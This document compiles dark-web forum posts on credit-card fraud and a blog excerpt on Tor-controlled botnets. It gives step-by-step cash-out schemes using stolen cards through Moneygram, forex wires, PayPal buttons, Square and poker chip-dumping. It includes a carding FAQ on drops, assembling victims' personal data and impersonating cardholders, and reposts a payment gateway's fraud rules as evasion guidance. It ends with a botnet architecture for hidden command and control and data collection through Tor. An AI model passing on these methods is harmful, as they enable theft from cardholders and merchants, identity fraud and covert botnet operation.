Easy Profit.

Note:

  • Typically Virwox hold funds for 48 hours before releasing.
  • You can process payments a total of 3 times with each card…..one transaction every 24hours.

CC -> Moneygram -> BTC

If you have fulls (ssn, dob, etc) you can try cashing out through moneygram. To do this just go to site and sign up for an account under the cardholders name. Be sure to chain a regional socks5 with your Tor connection so you appear to be from the same country that the cardholder is in [4]. Select Same Day service. It will prompt you for the card details, dob, and the last 4 digits of the ssn. I would suggest running this name through a background check (any background search site will do) in case you have to answer a security question to send the funds over. Don’t try to send over too much. If you accidentally go over the limit or try to send a suspicious amount you risk flagging the account. No more than $300 from each CC. If everything goes smoothly you can try exchanging through https://wm-center.com for bitcoins. You can find more information on WM-Center here: https://en.bitcoin.it/wiki/WM-Center

CC -> Forex -> BTC

The process is actually really simple. I was surprised to find the site. Kinda found it by accident actually.

Site: http://www.rationalfx.com

Using a foreign currency exchange site to change money on a credit card into a foreign currency and to wire transfer the money into a bank account.

In this case, the bank account is at https://mtgox.com

The process goes as follows:

  • Make an email account anywhere.
  • Make an account at MtGox.
  • Make an account at rationalfx.com. (all account info in the name of the cc holder).
  • In rationalfx, add account details, addy, card number, MtGox wire info.
  • Make a transfer.

Process takes 3-5 business days… It turns a cc transaction into a wire transfer so it takes a couple days… (Note: in the interest of speed and not getting the transaction reversed, Monday/Tuesday is the best day to start the transaction)

Once the money is in MtGox, turn it into bitcoins as quickly as possible and move it into your other bit wallets. Wash the coins if necessary…

Easy huh?

Already pulled it off once. 400GBP through a MC without any issues. rationalfx does not seem to have any real safeguards in place. Tor works fine there (though it is best to use an exit node wherever your card holder lives).

When I was testing it first with a visa, it told me 3 times in a row that the transfer failed. I lowered the amount each time and tried again. After the 3rd time it went through but I didn’t have the Verified by Visa password so I couldn’t continue. BOTH Visa AND MC , it seems, will pop up with a verification thingy if its enabled on the card. (Usually US/UK cards)

Make sure when you deposit to MtGox, you include the account identification info for that spacific account. You can find it on the ‘funding options’ -> ‘Bank wire’ page… If you forget that info you wont get your money..
So there you have it. Its simple as pie.. This is not 100% of the info but ya’ll can figure out the rest..

I know ya’ll prolly wont but if you are feeling generous…

Hope you enjoy..

Cashing Methods

This is a collection of cashing techniques that have been discussed on HackBB. Keep in mind before you get started you will need to know how to chain a socks5 with Tor to avoid tripping a fraud filter [1].

Easy PP/CVV cashout

I will preface this by admitting that I may have something to gain since I sell the tools needed to make this work. My mind played connect the dots when reading the forum and checking my messages, and I realized it’s easy to cash out with a little investment and work ahead of time.

I can’t guarantee this will work, I never tried it. But I do understand the systems involved so I’m as confidant as I can be.

Everybody wants to know how to cash out. Well, that is easy, the hard part is getting away with it. Any fuckin moron can rob a bank, but it takes a genius to do it time and time again while leaving the investigators in a state of mental confusion akin to drinking mercury and pithing their brains with an icepick.

This is not a step-by-step. Google is your friend (unless you’re signed in). I don’t hold hands, if you can’t figure it out on your own from here, it’s not in your scope.

Ingredients:

  • EU paypal account
  • Fresh email.
  • Anon debit card
  • CVV’s
  • Balls

Ok, Open an EU paypal account from one of the countries below. You can use fakenamegenerator.com or whatever you want. Just make sure is is a merchant and not personal. There are 3 levels, go with the middle. Get an Anonymous debit card, and link it to the paypal, using the CC and not the bank. I know for sure that the bank wont work for US accounts, as it is a deposit only bank account number. Depending on the country and the country’s banking regs, paypal may or may not try to take back the verification amount they sent. Forget that.

Once the paypal and debit card are connected successfully, it is time to get your free money. I don’t know what language you are using in the EU paypal, but it goes something like this: Merchant tools–>Generate Paypal button. Alternatively, you can google “paypal but it now button” in quotes. Figure it out.

I hope to god you got a CVV by now, because that’s whats next. Using the code you got for the BIN button, go to http://htmlpreview.richiebrownlee.com/ Paste the code, click the button, and now you are at a paypal purchase page. Depending on where you are, and I haven’t figured this out yet, you may have an option to pay with CC. It used to be that with USA, you could pay with CC but not sign up. So make sure you have a USA CC. If you registered a simple personal account, paypal will ask buyers to sign up first, and you might as well stop there.

If you see the option to either sign up or pay with CC, you are GOLD.

The amount will be immediately available on the paypal you created. Now, just withdraw funds to the debit card. 3-5 days, it will be there. Go shopping. See the girl with the big titties? Buy her a drink. You win.

I cannot account for moneybookers, as I’ve never used it, but I imagine it would work the same way. To test with moneybookers, I suggest linking to a greendot card with a throw away account, since you need to verify SSN. That can be your legit moneybookers anyway.

Here is a list of countries that SUPPOSEDLY don’t need a VBA, only a CC:

Bulgaria

Chile

Cyprus

Estonia

Gibraltar

Iceland

Indonesia

Latvia

Liechtenstein

Lithuania

Italy

Israel

Liechtenstein

Luxembourg

Malaysia

Malta

Philippines

Poland

Romania

San Marino

Slovakia

Slovenia

Turkey

UAE

Uruguay

 

I’ll share with you a cashout method

I’ve been using square on my android to cash out cards… All I did was register with jingit com and apply for their visa debit card… I do it this was cause I just watch some ads until I make $2.00 which is the fee for the card… once the card arrives you’ll get an account # and routing # as if it were a checkings account. (when you apply for the jingit card make sure you match FB’s DOB with jingit card on the application form)

now you register on squareup com and link it to the debit card acc. to verify the initial deposit they make don’t wait til you get the statement, call the # on the back of the card and you can get your transaction history over the phone. (I forgot you have to activate the card over the phone. this is why you need the SSN and DOB)

I only do this over open wifi and my android is not activated with any company. Also you must have location services enabled so don’t do it close to your home.

you don’t need the reader, you can charge cards manually entering the card info. you need at least the billing zipcode. transactions under $25 don’t require signature and you can skip the receipt.

I always get another prepaid card to swipe it when I use a new acc for the first time, I never start using an acc entering numbers manually… it’ll raise flags. don’t use your own card linked to your bank… that would be stupid

Beating the Online Casinos/Bookies (uk)
What you need

  • 2 machines, or an accomplice to play your dummy account.
  • UK non-3DS CVV
  • 50 GBP cash
  • Access to a William Hill shop

Create 1st account

Setup VM on system 1. I’m not going in to any great detail on how to do this as it’s covered elsewhere on the board. Use something like: Tor -> VM -> [UK]VPN / VPN1 -> VM -> [UK]VPN2.

Download the software and setup an account using either your genuine details, or some fictitious details from the local area of the shop you will be using. The deposit option you are interested in is “Quick Cash”

Off you go to a local William Hill shop to buy your Quick Cash voucher (say 50 GBP for this example). The shop prints 2 vouchers. One they keep which you will have to sign (in your fake name if you’ve used one), the other is given to you and contains the transaction code to enable you to deposit online.

Now either contact your accomplice who will play the other account or:

Create 2nd Account

Setup VM on system 2.

Download the software same as for Account 1, and this time setup the account using the details from your CVV. Deposit using CVV (eg 400 GBP).

Dumping Chips

Again, i’m not going into any great detail on this….if you don’t know how to play poker, then learn…fast. Become familiar with which hands tend to generate the largest pots (eg AA vs KK). 6-handed tables are a good choice (0.50/1 for these amounts).

Over the course of 1-2 hours, pass chips from Account 2 -> Account1, randomly losing some chips to the other players at the table. A reasonable target is for Account 1 to be +300.

Cashing out

Ok, you’re happy with your 300 profit. Click withdraw in the cashier, again choosing the “Quick Cash” option. Print off the voucher, then return to the shop where you were earlier in the day. Present the voucher, sign your name again to verify and walk out the shop 300 GBP richer for a few hours work.

Note: It’s probably not a great idea to use fictitious details if you use a shop in your own local area. No ID should be required for amount <500 GBP. If you’ve dumped chips with enough care, it’s almost impossible to prove you were involved in any fraudulent activity. You’ll have cash in your hand before anyone realizes any fraud has taken place, so no chance of freezing accounts.

Carding Online

Editors Note:

I edited out the “ATTAINING HIGHER LEVELS OF ANONYMITY” section due to it being

obviously wrong and changed the CC check link. Don’t add it in.

LEGAL TIDBITS

This FAQ is intended for educational PURPOSES ONLY.

THE BIG QUESTION: WHAT IS CARDING?

– Well, defined loosely, carding is the art of credit card manipulation to access goods or services by way of fraud. But dont let the “politically correct” definition of carding stop fool you, because carding is more than that. Much more.

Although different people card for different reasons, the motive is usually tied to money. Yea, handling a $9,000 plasma television in your hands and knowing that you didnt pay one red cent for it is definitely a rush.

But other factors contribute to your personal reason for carding. Many carders in the scene come from poor countries, such as Argentina, Pakistan, and Lebanon where $50 could mean a weeks pay, on a good day. Real carders (the one that have been in the scene the longest) seem to card for something more, however. The thrill of cc manipulation? The rush that the federalles could bust down your door at any minute? The defiance of knowing that everyday that you are walking among the public is another day that you have gotten away with a federal crime?

Whatever your persona reason for carding is, this tutorial should answer a few noobie questions and take the guessing out of the entire carding game. The resources and techniques mentioned in this tutorial are NOT, I repeat, NOT the only methods of carding. Experience in carding is key. You have to practice your own methods and try out new techniques in carding to really get a system that works for you. This tutorial is meant to get you on your way.

THE BASICS: WHAT DO I NEED AND WHERE DO I GET IT?

Credit Cards: Yes, CCZ.

“do you have any ccz” “where can I hack CCZ” “where can I get a list of valid CCZ?”

You need money to make money. Plain and simple. Which means that the only way your gonna be able to get ccs if you have ABSOLUTELY NO MONEY is if you successfully rip a noobie with 100 cards (but what noobie has 100 cards?), if you have any background in database hacking, if you trade for your shit, or if you know someone that’s willing to give you ccz all day.

I know thats a discouraging statement to all of you, but we have to keep shit realistic. The easiest way to get ccz is to purchase them.

“but I can’t get a job/I don’t wanna work!”

Having a regular 9 to 5 job is not a bad idea in the carding scene. Not only will you have some sort of alliby to why you have all this expensive shit in your house, but you can also use the money (who cant nowadays) to pay bills. You cant card forever, and you cant sustain yourself by carding alone.

If you are REALLY strapped for cash, you have to go through the alternative: trade for your resources. you have to be resourceful in carding, meaning you have to use what you got. Got a psybnc admin account? Offer psybnc user for a cc or two. Got shells? roots? Can you make verification phone calls? just ask yourself “what do I have that might be valuable to someone else?” and work with that. It dosnt have to be big, it just has to get you a few cc’s in your palms.

Once you’ve run your first successful cc scam, DONT SPEND ALL YOUR EARNINGS. Save $200 and re-invest back into the carding community. head to SC and get better cards. If you have level 2 cards, I suggest carding C2it/Paypal and using that $$ to buy ccs. (successful C2it/PP scamming techniques will not be discussed in this tut, sorry)

To other minor pointers on rippers and legit sellers, please scroll down to “SELLERS, TRADERS, AND RIPPERS, OH MY!”

“where can I check my CCZ?”

Knowing wether your cc is valid or not is really important for saving some time and energy. you can check them under http://www.soundcloud.com

The idea way for checking ccz is through an online merchant (authorize.net, linkpintcentral.) These merchants can verify cc amounts without charging your ccs. Good luck finding one. People on IRC want a ridiculous trade for These merchants (cvv lists, cash). So if you run accrosss a legit merc, dont give it out! even to your best buds! online mercs are gold in the world of carding.

Other methods for verifying cc amounts include registering your cc on an online bank. (You will need at least a level 2 card, level 3 for ATM cards). alot of online banks can give you limit, billing addy, ect ect but they require at least a level 2 cc (more info on ccz below)

CREDIT CARD FRAUD: INFORMATION IS KEY.

I want to make something clear right now. The secret to carding is not the number of cards you own, its what you can do with the cards. What do I mean by that? Simple.

Hypotherical situation: My name is Johnny and I have 3 ccs with SSN, DOB, CVV NUMBER, MMN, NAME, STREET ADDRESS, CITY, ZIP, AND BILLING TELEPHONE NUMBER. I have a friend named Billy. Billy has 300 CCCZ with CVV, MMN, NAME, STREET ADDRESS, CITY, ZIP, AND BILLING TEL. NUMBER. Whos more likely to successfully card something?

Simply put, I (Johnny) am. Why? Because I have more information that can prove that I am the person who owns this CC than Billy does with his 300 CCVZ. Does that mean Billy’s not gonna card anything? No, that just means Billy’s gonna have a hard time carding anything without verification.

So to sum up this lesson, you have to get information on your mark (the person that youre impersonating.) #1 rule in carding is: the more information you have on a person, the better chances you have for a successful transaction. Here is the information you’re looking for(note: the levels of a card is not a tehcnical carding term, I’ just used L1 L2 L3 to simplify shit throughout the tutorial.) :

NAME: ADDRESS: CITY: STATE: ZIP CODE: TEL. BILLING NUMBER: CARD NUMBER: CARD EXP DATE: CVV CODE:

(LEVEL 1: REGULAR CVV. If you have this much info, youve got yourself a regular cc. Nowadays you need this much info for carding ANYTHING worth mentioning. If you have any less than this information, you’re shit outta luck. :\)

Social Security Number (SSN): Date Of Birth (DOB): Mothers Maiden Name (MMN):

(LEVEL 2: (PARTIAL FULL-INFO) If you have this much info, your ccz are on another level. With this info, you should be able to card PayPal, C2IT, and other sites without too much of a hassle.)

BANK ACCOUNT NUMBER: ROUTING NUMBER: BANK NAME: BANK NUMBER: DRIVERS LICENSE NUMBER: PIN NUMBER (For CC or ATM card)

(LEVEL 3: (true full-info) If you have this info, youre cc is ready to card anything your heart desires)

Now if all you have is a regular cc, dont discourage. Just do some research and build your cards as much as possible:

First, go to whitepages.com and try to lookup your marks street address and phone number. Make sure it matches the info you have on your cc..

Last, but not least, take a quick look in ancestry.com. Ancestry.com is a bit of a pain, but you can lookup DOB and MMN (ie, if your marks name is anthony hawkins, his father is david hawkins and his mothers name is bella donna, Donna is the MMN)

So size up your cards and move on to the next lesson:

DROPS AND VERIFICATION TECHNIQUES:

The right drop is essential to your scamming needs. Finding legitamite drops inside and outside of the US is hard. Many people keep your shit and don’t send, or some people dont pick up the package at all! (theres nothing worse than watching your hard-earned laptop going back to the store because it was refused by the recepient)

If you live inside (or even outside) the USA, you’re better off scoping a drop out on your own. A drop is basically an empty home that looks to be inhabited. This is the shipping address you use for your carding needs. Your items should only picked up at night. As awlays, be sure to have a cover-story in case someone asks why youre snooping around an empty home. “I’m picking up a package for the person that used to live here” is a legit excuse. Or even “my father is the real-estate agent.” is good. Just keep in mind that if you order anything over $500, it will USUALLY need to be signed for, (this statement is based upon FEDEX/UPS policies. I’ve gotten feedback from people that state they have gotten their local UPS employee to drop merchandise worth 1k at thir doorstop using a note, but these are uncomfirmed rumours.) Wether youre willing to sit and wait all day on the doorsteps of your drop, or you rather leave the postman a note that says you’ll pick it up at the nearest postal station, its up to you. (Dont panic if you have to pick up a package at the station. When you walk in, you need to be calm so it dosent arise suspicion. If the clerk asks you to wait more than 3 minutes, PLEASE dont stand there waiting to get busted, tell him/her you have a prior engagement and quickly exit stage left. )

If you live outside the USA, youre just gonna have to trust someone. The easiest way to get a legit drop in the USA is to ask around for people that have had successful experiences with a drop. Most drops hold a 50/50 or “you card something you card me sommething” policy. If you’re talking so someone thats trying to cut themselves in to the deal “Ie yes, I know someone but you have to card me something too” just move on, they’re wasting your time.

Just a quick note, if you’re carding something like a plasma television, you’ll have better luck using a drop from the same state, changing the billing addy (you can change a billing addy with a level 2 card, youll need a L2 card for carding a plasma tv neways) and acting like you just moved. (have that mindset when you call in: I am (name of cardholder) and I just moved from (city a) to (city b)) Once you have the item in your possession, you SHOULD GUESS THAT YOUR DROP HAS BEEN FLAGGED. What does this mean? YOU SHOULD NOT – I REPEAT SHOULD NOT RETURN TO A DROP ONCE YOU’VE CARDED EXPENSIVE SHIT TO IT. Regardless of wether your drop is flagged or not, do you really want to take the chances?

The cellular phone: The anonymous cell phone is the carders sword. With it, you will make several calls to several companies using several names. You should keep this cellular phone for carding ONLY. (just in case you become confused and forget who youre talking to.) If you have a phone phreaking connection, youre a lucky SOB. For the rest of us, we gotta go out and get a pre-paid cellular phone. (a phone which dosent require much info to purchase and use.)

THE SITES: WHATS CARDABLE AND WHATS NOT?

Ok, so you got your ccs, your drop and youre as anonymous as you can make yourself. Now what sites are cardable? This is the easiest question I have to answer on this FAQ.

-ANY AND ALL SITES ARE CARDABLE- (THX CIA AND `Q_)

Why do I say that? because it’s true. Like I said in chapter two of this little tutorial, its not about how many cards you have, its what you can do with them. Alot of this has to do with your mindset as well.

If you have a card from Johnny Knoxville from Texas, you must be Johnny Knoxville from texas. Depending on the information that you have acquired from Johnny Knoxvile, you must convince merchants and I-stores that you A R E Johnny Knoxville.

When approaching these I-stores, you want to scope things out first. Ask yourself a few questions:

-whats their policy on different shipping address than billing addess?

If they have a “must call” policy, make sure to give them an anonymous number where you can be reached (have your anon cell phone ready for this.)

-do they accept other payments besides credit?

If they accept other payment methods, sometimes its easier to card with a different payment method. (Ive had more luck on Dell.com with online checks that I have with credit cards.)

Whatever you card, make sure that you have all your info prepped before carding it. If youre carding something over 1k, get on your anonymous celly and call up the banking institution of the person’s card youre holding. Make sure to let them know that youre making a purchase of a large limit, so they dont deny your card.

Know Thy Enemy: What the CC Payment Gateways Check for Fraud

These are the measures taken by CardPay which is a payment gateway to rate fraud. It wouldn’t be really hard to imagine that other gateways take the same measures. Although we all know the rules of thumbs, I thought it would be interesting to see what they *actually* measure to evaluate high risk of fraud. The amount of information that they actually collect is mind blowing.

Fraud Screening system of CardPay Inc. Payment gateway performs comprehensive analysis of transaction data, using several techniques simultaneously. Data from external systems used during screening process, also as internal transactions history and various lists.

Transaction passes through so called “pipeline”, consisting of following steps:

  • Rules system
  • Card and cardholder’s data analysis using automated fraud screening service
  • Multivariate regression analysis of in-house transactions database.
  • The above mentioned subsystems are described in more details in the following section.

Rules system: Fraud rules logic implemented in stored procedures by Oracle DBMS, which enables adding and modifying rules without service downtime. Before passing order through rules chain, additional information retrieved from MaxMind credit card fraud prevention service. MaxMind returns to gateway following data:

  • Cardholder located in high-risk country. At a moment following countries recognized as high risk: Egypt, Ghana, Indonesia, Lebanon, Macedonia, Morocco, Nigeria, Pakistan, Romania, Serbia and Montenegro, Ukraine, or Vietnam.
  • Whether country of IP address matches billing address country (mismatch = higher risk)
  • Country Code of the IP address
  • Distance from IP address to Billing Location in kilometers (large distance = higher risk)
  • Estimated State/Region of the IP address
  • Estimated City of the IP address
  • Estimated Latitude of the IP address
  • Estimated Longitude of the IP address
  • ISP of the IP address
  • Organization of the IP address
  • Whether IP address is behind an anonymous proxy(anonymous proxy = very high risk)
  • Likelihood of IP Address being an open proxy(transparent)
  • Whether e-mail is from free e-mail provider
  • Whether e-mail is in database of high risk e-mails
  • Whether usernameMD5 input is in database of high risk usernames.
  • Whether passwordMD5 input is in database of high risk passwords.
  • Whether country of issuing bank based on BIN number matches billing address country
  • Country Code of the bank which issued the credit card based on BIN number
  • Whether name of issuing bank matches entered BIN name. A return value of Yes provides a positive indication that cardholder is in possession of credit card
  • Name of the bank which issued the credit card based on BIN number
  • Whether customer service phone number matches BIN phone. A return value of Yes provides a positive indication that cardholder is in possession of credit card.
  • Customer service phone number listed on back of credit card.
  • Whether the customer phone number is in the billing zip code.
  • Whether shipping address is in database of known mail drops.
  • Whether billing city and state match ZIP code.
  • Whether shipping city and state match ZIP code.

After gathering of all data, rules in chain applies to order data sequentially, increasing or decreasing total fraud score.

Rules chain consists of following rules:

  • Cardholder country rating(global list)
  • Cardholder country rating(as set up by merchant)
  • Cardholders IP found in black lists
  • Cardholders IP range found in black list
  • Cardholders email found in merchants black list
  • Cardholders email found in global black list
  • Cardholders email found in forbidden email providers list
  • Card PAN doesnt present in global black list
  • Card PAN doesnt present in merchants black list
  • Cardholders address not in global black list
  • Cardholders address not in merchants black list
  • Order amount doesnt exceeds global purchase limit
  • Order amount doesnt exceeds local(merchant) purchase limit
  • Single PAN daily turnover doesnt exceeds global daily limit
  • Single PAN daily turnover doesnt exceeds local(merchant) daily limit
  • Billing address daily turnover doesnt exceeds global daily limit
  • Billing address daily turnover doesnt exceeds local(merchant) daily limit
  • PAN number brute force check
  • Expiry date brute force check
  • CVV brute force check

This is base rules set. Our fraud officer constantly monitors transaction flow and modifies existing rules and implements new ones to gain maximum fraud prevention efficiency.

Transaction history analysis(in-house service): After successful rules checking, transaction data verified against pool of existing transactions, enabling most accurate results and fraud decisions possible. If this routine detects no reasons to block further processing.

Transaction history analysis(external service): If in-house transaction history doesn’t shows signs of fraud, external database enters into business.

Online Verification Procedures
Over the years, I’ve come across dozens of procedure lists for top-tier merchants regarding online transations and fraud reduction. I’ll detail several companies verification procedures below.

While most virtual carders are aware of the various procedures in place to verify orders placed online, few actually understand the implementation of fraud scoring, and the order in which these verification methods are used.
The Risk Management Toolkit

  • AVS
  • CVV
  • IP/GEO/BIN
  • Cardholder Authentication (VbV/MSC)
  • Phone Verifications
  • Manual Order Reviews
  • Chargebacks & Representments
  • PCI Compliance & Data Security

 

AVS – Address Verification Service

How It Works

  • Provides a Match or Non-Match Result for only the Billing Street # and Billing Zip Code… not the actual address. (i.e. “1234 Test Street” is parsed into “1234” just the same as “1234 Wrong Way” would be).

Implementation

  • Available on any Internet merchant account and virtually any Payment Gateway.
  • Most gateways provide an AVS configuration area where you can specify whether you want to automatically“decline” (i.e. do not settle) an authorization that has an AVS mis-match or non-match.

Benefits

  • Easy to implement Limitations
  • Works only for U.S., CND, U.K. cardholders so this does not help you scrub most international transactions.
  • A growing % of compromised credit cards – especially those obtained through inside jobs or hacked databases– will also contain the necessary information to provide a valid AVS match result.

Recommendation

  • If you handle a mix of int’l and U.S. sales, you will want consider scrubbing with AVS on the U.S. transactions but do NOT scrub via AVS for any international transactions as they will always fail. AVS should not beconsidered a primary means of verifying the validity of a transaction. Nearly 20% of the fraud can potentially be eliminated by scrubbing “Non-Matched” AVS match results.

CVV – Card Verification Value

How It Works

  • A service with many names – CVV2, CVC2, CID – but the premise is the same for all.
  • Provides a Match or Non-Match Result for the 3-digit or 4-digit number embossed on the back of the cardholder’s card. The CVV is NOT generally encoded on the magnetic stripe and therefore is less likely to be captured as part of a card skimming tactic.

Implementation

  • Available on any Internet merchant account and virtually any Payment Gateway.
  • Most gateways provide an CVV configuration area where you can specify whether you want to automatically “decline” (i.e. do notsettle) an authorization that has an CVV non-match or non-entry.

Benefits

  • Works for virtually ALL cardholder accounts – both U.S. and international.
  • There is no valid reason why a legitimate cardholder, in possession of the card, would not be able to enter a 100% matching numberfor this.
  • Merchants are not allowed to store CVV and as such the CVV # is less vulnerable than the data used for AVS.

Limitations

  • CVV data can only be used for a real-time transaction. CVV data can not be stored and therefore can not be utilized for Recurring Transactions.

Recommendation

  • CVV is a recommended service to utilize for ALL initial transactions processed. Based on our internal charge-back analysis, merchants can reduce their fraud ratesby as much as 70% by simply requiring a matching CVV result.

IP/GEO/BIN Scrubbing

How It Works

  • Compares the IP address of the customer purchasing with their stated geographic location (i.e. why is the customer from California ordering from Europe?)
  • Compares the BIN # (first 6 digits) of the credit card with the IP or stated geographic location of the customer (i.e. the customer isusing an US-issued credit card but they are from Europe?)
  • Based on the IP and BIN # and other customer-inputted data, a vast amount of information can be returned on the transaction.

Implementation

  • Custom direct integration into a service such as MaxMind.com
  • Use an existing integration that is part of a Shopping Cart such as X-Cart, LiteCommerce, osCommerce, ZenCart,ASPDotNetStorefront.
  • Use an existing integration that is part of a Billing System such as WHMCompleteSolution, ClientExec or Ubersmith.

•Use an existing integration that is part of a Payment Gateway such as the Quantum Payment Gateway.

Benefits

  • Fast, Cost Effective and Non-Intrusive
  • Provides merchants with an excellent “do the pieces fit consistently?” analysis.
  • Can block up to 89% of all fraud if properly implemented

Limitations

  • Generally not reliable for AOL users due to the way that AOL routes its traffic (AOL users require a merchant-specific approach)
  • Proxy database is always in a real-time process of being updated as new proxies open up.

Recommendation

  • IP/GEO/BIN fraud scores should be used in the order evaluation process more as a means of flagging transactions as “high risk” formore intensive scrubbing vs. being an outright decline.

Examples of what IP Geo-Location can tell you:

YELLOW ALERTS

  • Free E-mail Address: is the user ordering from a free e-mail address?
  • Customer Phone #: does the customer phone # match the user’s billing location? (Only for U.S.)
  • BIN Country Match: does the BIN # from the card match the country the user states they are in?
  • BIN Issuing Bank Name: does the user’s inputted name for the bank match the database for that BIN?
  • BIN Phone Match: does the customer service phone # given by the user match the database for that BIN?

RED ALERTS

  • Country Match: does the country that the user is ordering from match where they state they are ordering from?
  • High Risk Country: is the user ordering from one of the designated high risk countries?
  • Anonymous Proxy & Proxy Score: what is the likelihood that the user is utilizing an anonymous proxy?
  • Carder E-mail: is the user ordering from an e-mail address that has been used for fraudulent orders?
  • High Risk Username/Passwords: is the user utilizing a username or password used previously for fraud?
  • Ship Forwarding Address: is the user specifying a known drop shipping address

IP/GEO/BIN Scrubbing (Continued)

Open/Anonymous Proxies: an open proxy is often a compromised “zombie” computer running a proxy service that was installed by a computer virus or hacker. The computer is then used to commit credit card fraud or other illegal activity. In some circumstances, an open proxy may be a legitimate anonymizing service that is simply recycling its IP addresses. Detecting anonymous proxies is always an on going battle as new ones pop up and may remain undetected for some time.

26% of orders placed with from open proxies on the MaxMind min Fraud service ended up being fraudulent. Extra verification steps are strongly recommended for any transaction originating from anopen/anonymous proxy.

High-Risk Countries: these are countries that have a disproportionate amount of fraudulent orders, specificallyEgypt, Ghana, Indonesia, Lebanon, Macedonia, Morocco,Nigeria, Pakistan, Romania, Serbia and Montenegro, Ukraine and Vietnam. 32% of orders placed through the MaxMind min Fraud service from high-risk countries were fraudulent. Extra verification steps should be required for any transaction originating from a high risk country.

Country Mismatch: this takes place when the IP geolocation country of the customer does not match their billing country. 21% of orders placed with a country mismatch on the MaxMind m******* service ended up being fraudulent. Extra verification steps are recommended for any transaction with a country mismatch.

Results that speak for themselves:

ChangeIP – is a DNS and domain name registration provider. The company provides free and custom Dynamic DNS services to more than 50,000 users. Before implementing MaxMind, ChangeIP was losing as much as $1,000 per month because it sold instantly delivered digital goods and could not recover the losses if the purchase turned out to be fraudulent. After implementing MaxMind, losses were reduced by 90%.

MeccaHosting – is a Web hosting company based in Colorado. Since integrating MaxMind, Mecca Hosting has not received a single chargeback. On average, 12-15 fraudulent orders pass through the in-house checks each month but are flagged by MaxMind. Over the last 5 months, this has saved MeccaHosting atleast 60 chargebacks and $6,000 in unnecessary costs.

Red Fox UK – is a Web hosting provider and software development company based in the UK which offers solutions for smalland medium sized businesses all over the world. By using MaxMind, Red Fox UK was able to increase its revenue by 4% while reducing its chargebacks by 90%.

365 Inc. – is a digital media and e-tailer specializing in soccer & rugby with a large international customer base that processes over 10,000 transactions per month. By integrating MaxMind, chargebacks were reduced byover 96% from more than $10,000 per month to less than $500 per month. At this point, most charge backs are general order disputes as opposed to fraud.

Whew. A lot of editing. I’ll post the remainder in a bit.

 

07/17/12

Are Criminals Using Tor-onion- Controlled Botnet

gAtO aSkEd – are criminals using Tor-.onion network to run botnets?  I started searching in the deep dark web and found some interesting discussion threads. I copied them down from different places in onion land. But a simple search in “the abyss-search engines”— http://nstmo7lvh4l32epo.onion — dark web search engine can let you see a few places were Tor-controlled botnets are being sold, discussed and a place were you can ask questions and get back some real answers since they’re in the .onion.

So this may shed some light on this what hackers and criminals are talking about, and see how the bad guy’s are doing it- I just want to learn. -gAtO oUt 

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

  • Is there any good reason for a botnet not to contact an onionland server for C&C? It seems like that would make it harder to shut down, since you can’t find the server. What reason am I missing for this not being done more often?
  • This is actually very simple to implement. I’ve been working on a project that does this for a few months that’s pretty much complete.
  • My bot uses a hidden service to pull down a custom torrc, this file contains information on private directory servers which it then uses to connect to a private tor network.
  • The bot can choose weather to stay on the public tor network or connect to a privet network depending on what the C&C tells it to do.
  • If it connects to the private network it does a check to see if the client machine is hosted behind a NAT, if it’s not it becomes a relay and exit node.
  • I’m a newbie coder and wrote this in C so it is very easy to do. I’m just in the process of porting the whole thing over to linux atm.
  • The most obvious way to do this would be to install Tor on compromised systems and have the bots set up to issue their commands through Tor.
  • Another way would be to just run the C&C server on Tor and have the bots use a tor to web proxy, either a public one or you could set up your own on compromised servers. The downside with this approach is that it would be a lot easier to block and shut down.
  • A third option is to run your own Tor network and have the clients with higher bandwidth and up-time act as relays. This would seem like the most difficult approach and would require you to run your own root server which would lessen the resilience of the botnet.
  • I prefer the idea of using the normal Tor network with bots acting as clients only. This option seems like it would be pretty easy to set up and would insulate you from a lot of the risks normally associated with running a botnet. I’m not sure if this would require much modification to the Tor code.
  • Assuming the network was only to comprise of Windows machines you could use the Tor Expert Package. If Tor could be installed from the command line and have it hide from the system as much as possible, such as not creating Start Menu entries and Desktop icons, then this could have some potential without really much work at all. Does anyone know if this is possible, can Tor be installed from the command line with flags that set the options that would need disabling and without popping up an install wizard? If this is possible then Tor wouldn’t even need modifying at all.
  • As far as I can see, assuming Tor is not compromised and you are careful about how you do it, this seems like the best way to run a resilient botnet. If the C&C server code is secure and you keep the attack surface to a minimum this sort of network would resist a lot of scrutiny before it could effectively be mitigated.

gAtOmAlO LaB nOtEs

Working on a similar project. Dark Umbrella fast flux/domain flux hybrid approach

(In development about 3-5 months left)

bot coded in assembly no dependencies

Each build has maximum of 10k bots to ovoid widespread av detection.

Basic bot uses socks5.

built in ssh client

(fast-flux)

Bot is built with 30k pre generated 256 bit AES keys.

1 256 bit AES key for logs

1 256 bit AES key ssh

1 256 bit AES key socks 5

hwid it selects a pre-generated key 256 bit AES key.

Bot writes encrypted data into common file using stenography

process injection

Download/Upload Socks5

Bot sends data to a collector bot via socks5 through ipv6 which makes NAT traversal a trivial matter.

Using ipv6 in ipv4 tunnel.

Collector bot assembly

tor and i2p Plug-ins C++

Assuming 10k bots

Bots will be assigned into small groups of 25. And are assigned 400 collectors bots which is evenly 200 tor and 200 i2p.

Collector packages the encrypted logs and imports them into a .zip or rar archive and uses sftp to upload through tor to a bullet proof server Note the Ukraine is best know

Russia is no good.

(Domain-flux .onion panel can be easily moved)

Using a Ubuntu Server on bullet proof server.

Using tor and Privoxy. Panel can be routed through multiple cracked computers using proxychains and ssh.

Server uses a simple .onion panel with php5 and apache2 and mysql.

You might ask what happens if bullet proof server is down. The collector bots can be loaded with 5 .onion panels. If panel fails for 24 hours its removed from all Collectors and bot will go to the next one and so forth.

A python Daemon runs and unzip the data and Imports it into a mysql database were it remains encrypted.

The bot master uses my Dark Umbrella.net panel to connect to the remote Bullet Proof server through a vpn and then through tor using ssh to run remote commands on server and

sftp to upload and download. Running tor through a log less vpn through with a trusted exit node on the tor network. .net panel connects to mysql database database is decrypted

on .NET panel (Note must real Bullet Proof hosting is not trust worthy this solves that issue) and imported into a local .mdb database. Then later the bot Master should encrypt

database folder on true crypt. Commands are sent to bots individually rather then corporately like most bot nets. This allows for greater anonymity It will be possible to send

commands corporately but strongly discouraged. Collector bots download and upload large files through i2p.

1.Connects remotely to rpc daemon through backconect and simplifying metasploit (Working)

2.Social network cracker. (in development)

3.Statics. (Working)

4.Anonymity status. (Working)

5.Decrypt-er. Decryption codes in highly obfuscated.net limiting each build to 10k bots. (Working)

6.Daemon status (Working)

7.logs (Working)

8.Metasploit connects via rpc. (working)

